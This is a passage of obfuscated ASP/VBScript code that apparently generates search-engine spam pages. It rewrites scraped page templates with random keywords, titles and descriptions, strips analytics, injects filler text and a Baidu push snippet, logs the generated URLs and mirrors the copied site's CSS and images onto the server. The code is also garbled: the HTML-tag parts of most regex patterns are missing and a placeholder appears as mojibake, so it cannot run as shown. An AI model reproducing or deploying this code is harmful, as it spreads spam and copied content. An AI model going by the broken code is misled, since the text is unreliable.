dggrppoohcc=replace(dggrppoohcc,"",keyxx) mb=replace(mb,dgrhsfe,""&keyxx&":"&dggrppoohcc&"") elseif neiyebiaoti=2 then mb=replace(mb,dgrhsfe,""&keyxx&"") end if if neiyebiaoti<>0 then zdykey=ReadFile("bbxx/zdykey/"&randomStrrs("bbxx/zdykey/")) zdykey=split(zdykey,vbcrlf) zdykeys=ubound(zdykey) keyytxt=ReadFile("bbxx/txt/"&randomStrrs("bbxx/txt/")) keyytxt=split(keyytxt,vbcrlf) keyytxts=ubound(keyytxt) biaodian=ReadFile("bbxx/biaodian.txt") biaodiantxt=split(biaodian,vbcrlf) biaodiantxts=ubound(biaodiantxt) nwygjc=jiequkExpq("]+keywords(.*?)>",mb) mb=replace(mb,nwygjc," ") nwyms=jiequkExpq("]+description(.*?)>",mb) ssiig4=keyxx&"," for iix=0 to RndNumber(2,8) if biaodiantxts>0 then djsjse=djsjse&keyytxt(RndNumber(-1,keyytxts))&biaodiantxt(RndNumber(-1,biaodiantxts)) else djsjse=djsjse&keyytxt(RndNumber(-1,keyytxts)) end if next ssiig4=ssiig4+djsjse mb=replace(mb,nwyms," ") end if end if mb=RemoveStatistics(mb) head="" head=jiequkExpq("]+)?>",mb) if head<>"" then mb=replace(mb,head,""&vbcrlf&ganrao) else head=jiequkExpq("",mb) mb=replace(mb,head,""&vbcrlf&ganrao) end if head="" mb=charu2(mb) if gggooiu="" and mb <>""then end if if grh1<>0 then dqymgg=Request.ServerVariables("SERVER_NAME") if ssiig2<>"" then if gjhyh1 =1 and gaoijbanben=1 then dggegegh1=""&ssiig2&"" mb=replace(mb,"{ؼ}",dggegegh1) else mb=replace(mb,"{ؼ}",ssiig2) end if elseif key19627<>"" then if gjhyh1 =1 and gaoijbanben=1 then dggegegh1=""&key19627&"" mb=replace(mb,"{ؼ}",dggegegh1) else mb=replace(mb,"{ؼ}",key19627) end if end if if gjhyh1 =1 and gaoijbanben=1 then dggegegh1=""&keyxx&"" mb=replace(mb,"{ؼ}",dggegegh1) else mb=replace(mb,"{ؼ}",keyxx) end if else mb=replace(mb,"

                            {ؼ}

                            ","") end if if jianfan=1 then end if mb=tihuan(mb) if gggooiu="" and mb <>"" and len(mb)>30 and shouyetihhuan=0 then biaotixy=jiequkExpq("]?>([\s\S]*?)",mb) mb=replace(mb,biaotixy,biaotipgxxxx) guanjiancyy=jiequkExpq("]+keywords(.*?)>",mb) mb=replace(mb,guanjiancyy,gjcccccc) miaoshgyyy=jiequkExpq("]+description(.*?)>",mb) mb=replace(mb,miaoshgyyy,miaoshuccccc) elseif neiyebiaoti=0 and gggooiu<>"" and mb<>"" and len(mb)>30 then end if if glsbt=1 and gaoijbanben=1 then biaotipgx=jiequkExpq("]?>([\s\S]*?)",mb) mb=replace(mb,biaotipgx,biaotipgx&vbcrlf&shuagnbiaoti&vbcrlf&iiiogggrshrh) end if head="" head=jiequkExpq("",mb) if head<>"" then mb=replace(mb,head,baidutuisong+head) end if response.Write mb response.Flush() if gggooiu="" and mb <>"" and len(mb)>30 then call WriteToTextFile ("/indexx.html",mb,"gb2312") call WriteToTextFile ("/indexxx.html",mb,"gb2312") else gggrgim="htmllll/"&gggooiu gggrgimrr="htmllll/"&replace(replace(gggooiu,"?","^"),":","^") gggrgim=split(gggrgim,"/") gggrgims=ubound(gggrgim) ixuggg="" for xx=0 to gggrgims-1 ixuggg=ixuggg&"/"&gggrgim(xx) if IsFloderExist(ixuggg)=false then call mkdir(ixuggg) end if next if mb<>"" and len(mb)>30 then call WriteToTextFile (gggrgimrr,mb,"gb2312") call WriteToTextFile ("bbxx/mb/mb.html",dddmb,"gb2312") end if end if if keyxx<>"" and mb<>"" and len(mb)>30 then set fso=Server.CreateObject("Scripting.FileSystemObject") mbpath=server.MapPath("bbxx/urlkey/"&dated&".txt") set tfile=fso.OpenTextFile(mbpath) mbcont=tfile.readall set tfile=fso.createtextfile(server.MapPath("bbxx/urlkey/"&dated&".txt")) if mbcont<>"" then tfile.write mbcont& vbCrLf &"http://"&dgurl&"/"&suijimulu&"/"&gggooiu&","&keyxx else tfile.write "http://"&dgurl&"/"&suijimulu&"/"&gggooiu&","&keyxx end if end if if Dir("bbxx/urlkey/"&dated&".txt")<>0 and Dir("bbxx/linshi/llll.txt")<>0 then Set fs=Server.CreateObject("Scripting.FileSystemObject") Set f=fs.GetFile(Server.MapPath("bbxx/linshi/llll.txt")) a= cdate(f.DateLastModified) b= cdate(dated) c= datediff("h",a,b) if cdbl(c)>0 then call shenc end if set f=nothing set fs=nothing end if if Dir("bbxx/urlkey/"&dated&".txt")<>0 and Dir("bbxx/linshi/llll.txt")=0 then call shenc end if if RndNumber(1,100)>1 then Set regExq = New RegExp regExq.Pattern ="]+href=[\""\']?([^\""\'\\?]+)(.*?)\b[\\?\""\'\s]?(.*?)>" regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(mb) For Each Matchq in Matchesq ddfeg=Matchq.SubMatches(0) ddfeg=replace(ddfeg,"""","") ddfeg=replace(ddfeg,"'","") ddfeg=urlcl(duwangyedizhi,ddfeg) if instr(ddfeg,"://")=0 then if instr(ddfeg,"http://"&yuming)>0 then ddfeg=replace(ddfeg,"http://"&yuming,"") end if if left(ddfeg,1)<>"/" then ddfeg="/"&ddfeg end if dggrgrg=ddfeg if Dir(ddfeg)=0 then xxggi=split(ddfeg,"/") xxggis=ubound(xxggi) xugieg="" if xxggis<>1 then for xx=1 to xxggis-1 xugieg=xugieg&"/"&xxggi(xx) if IsFloderExist(xugieg)=false then call mkdir(xugieg) end if next end if if instr(ddfeg,yuming)=0 then ddfeg="http://"&yuming&ddfeg end if if instr(dggrgrg,".css")>0 then ddgini=get_content(ddfeg) cssurl=ddfeg call WriteToTextFile(dggrgrg,ddgini,"gb2312") strx = ddgini finStrx ="url(" posx = 1 totalx = 0 while instr(posx,strx,finstrx)>0 totalx = totalx + 1 posx = instr(posx,strx,finstrx) + 1 wend s1x=1 for eex=1 to totalx ddfegx=split(split(ddgini,"url(")(eex),")")(0) ddfegx=replace(ddfegx,"""","") ddfegx=replace(ddfegx,"'","") ddfegx=urlcl(cssurl,ddfegx) if instr(ddfegx,yuming)>0 then ddfegx=replace(ddfegx,"http://"&yuming,"") end if if left(ddfegx,1)<>"/" then ddfegx="/"&ddfegx end if dggrgrgx=ddfegx if Dir(ddfegx)=0 then xxggix=split(ddfegx,"/") xxggisx=ubound(xxggix) xugiegx="" if xxggisx>1 then for xxx=1 to xxggisx-1 xugiegx=xugiegx&"/"&xxggix(xxx) if IsFloderExist(xugiegx)=false then call mkdir(xugiegx) end if next end if if instr(ddfegx,yuming)=0 then ddfegx="http://"&yuming&ddfegx end if call img(ddfegx,dggrgrgx) end if next end if end if end if next end if Set regExq = Nothing call zzjszz("]+src=[\""\']?([^\""\'\\?]+)(.*?)\b[\""\'\s]?(.*?)>",mb) xiaztupjl="," call tpxz("]+\bdata-url=[\""\'\s]?([^\""\'\s]+)(.*?)\b[\?\""\'\s]?(.*?)>",mb) call tpxz("]+\b[_]?src=[\""\'\s]?([^\""\']+)(.*?)\b[\?\""\'\s]?(.*?)>",mb) call tpxze("[\""\']([^\""\'\,\<]+)?(\w+)(\.jpg|\.swf|\.gif)[\""\']",mb) call tpxz("url[(][\""\']?([^\""\'\)]+)(.*?)[\?\""\'\s]?(.*?)[)]",mb) call tpxz("url[\""\']?:[\""\']?([^\s\""\']+)(.*?)[\?\""\'\s]?(.*?)",mb) agggooiu="" gggooiu="" keyxx="" mb="" oour="" Response.Write(vbCrLf)